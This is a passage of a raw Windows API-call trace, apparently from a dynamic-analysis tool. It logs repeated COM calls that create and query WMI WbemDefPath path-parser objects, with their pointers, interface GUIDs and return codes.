(This=0x5cdcdd8) returned 0x1 [0138.426] SetEvent (hEvent=0x410) returned 1 [0140.139] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5d09870) returned 0x0 [0140.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x5d09870, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0140.139] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5d09870, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdcd68) returned 0x0 [0140.139] WbemDefPath:IUnknown:Release (This=0x5d09870) returned 0x0 [0140.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcd68, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdcd68) returned 0x0 [0140.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcd68, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0140.139] WbemDefPath:IUnknown:AddRef (This=0x5cdcd68) returned 0x3 [0140.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcd68, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0140.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcd68, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0140.140] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcd68, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5d09880) returned 0x0 [0140.140] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5d09880, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.140] WbemDefPath:IUnknown:Release (This=0x5d09880) returned 0x3 [0140.140] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0140.140] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0140.140] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcd68, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0140.140] WbemDefPath:IUnknown:Release (This=0x5cdcd68) returned 0x2 [0140.140] WbemDefPath:IUnknown:Release (This=0x5cdcd68) returned 0x1 [0140.140] SetEvent (hEvent=0x4e4) returned 1 [0140.167] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5d09950) returned 0x0 [0140.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x5d09950, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0140.167] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5d09950, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdccf8) returned 0x0 [0140.167] WbemDefPath:IUnknown:Release (This=0x5d09950) returned 0x0 [0140.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdccf8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdccf8) returned 0x0 [0140.168] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdccf8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0140.168] WbemDefPath:IUnknown:AddRef (This=0x5cdccf8) returned 0x3 [0140.168] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdccf8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0140.168] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdccf8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0140.168] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdccf8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5d09960) returned 0x0 [0140.168] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5d09960, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.168] WbemDefPath:IUnknown:Release (This=0x5d09960) returned 0x3 [0140.168] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0140.168] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0140.168] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdccf8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0140.168] WbemDefPath:IUnknown:Release (This=0x5cdccf8) returned 0x2 [0140.168] WbemDefPath:IUnknown:Release (This=0x5cdccf8) returned 0x1 [0140.168] SetEvent (hEvent=0x4e8) returned 1 [0140.170] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5d09950) returned 0x0 [0140.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x5d09950, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0140.171] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5d09950, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdcc88) returned 0x0 [0140.171] WbemDefPath:IUnknown:Release (This=0x5d09950) returned 0x0 [0140.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc88, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdcc88) returned 0x0 [0140.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc88, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0140.171] WbemDefPath:IUnknown:AddRef (This=0x5cdcc88) returned 0x3 [0140.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc88, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0140.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc88, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0140.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc88, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5d09970) returned 0x0 [0140.171] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5d09970, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.171] WbemDefPath:IUnknown:Release (This=0x5d09970) returned 0x3 [0140.171] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0140.171] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0140.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc88, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0140.171] WbemDefPath:IUnknown:Release (This=0x5cdcc88) returned 0x2 [0140.172] WbemDefPath:IUnknown:Release (This=0x5cdcc88) returned 0x1 [0140.172] SetEvent (hEvent=0x4ec) returned 1 [0140.174] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5d09950) returned 0x0 [0140.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x5d09950, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0140.174] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5d09950, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdcc18) returned 0x0 [0140.174] WbemDefPath:IUnknown:Release (This=0x5d09950) returned 0x0 [0140.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc18, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdcc18) returned 0x0 [0140.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc18, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0140.174] WbemDefPath:IUnknown:AddRef (This=0x5cdcc18) returned 0x3 [0140.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc18, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0140.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc18, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0140.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc18, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5d09980) returned 0x0 [0140.174] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5d09980, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.174] WbemDefPath:IUnknown:Release (This=0x5d09980) returned 0x3 [0140.175] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0140.175] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0140.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc18, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0140.175] WbemDefPath:IUnknown:Release (This=0x5cdcc18) returned 0x2 [0140.175] WbemDefPath:IUnknown:Release (This=0x5cdcc18) returned 0x1 [0140.175] SetEvent (hEvent=0x4f0) returned 1 [0141.563] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5d09850) returned 0x0 [0141.563] WbemDefPath:IUnknown:QueryInterface (in: This=0x5d09850, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0141.563] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5d09850, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdd158) returned 0x0 [0141.564] WbemDefPath:IUnknown:Release (This=0x5d09850) returned 0x0 [0141.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd158, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdd158) returned 0x0 [0141.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd158, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0141.564] WbemDefPath:IUnknown:AddRef (This=0x5cdd158) returned 0x3 [0141.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd158, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0141.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd158, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0141.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd158, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5d09a70) returned 0x0 [0141.564] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5d09a70, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.564] WbemDefPath:IUnknown:Release (This=0x5d09a70) returned 0x3 [0141.564] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0141.564] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0141.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd158, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0141.564] WbemDefPath:IUnknown:Release (This=0x5cdd158) returned 0x2 [0141.564] WbemDefPath:IUnknown:Release (This=0x5cdd158) returned 0x1 [0141.565] SetEvent (hEvent=0x588) returned 1 [0141.584] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5d09b40) returned 0x0 [0141.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x5d09b40, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0141.584] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5d09b40, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdd1c8) returned 0x0 [0141.584] WbemDefPath:IUnknown:Release (This=0x5d09b40) returned 0x0 [0141.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd1c8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdd1c8) returned 0x0 [0141.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd1c8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0141.585] WbemDefPath:IUnknown:AddRef (This=0x5cdd1c8) returned 0x3 [0141.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd1c8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0141.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd1c8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0141.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd1c8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5ce62d8) returned 0x0 [0141.585] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5ce62d8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, 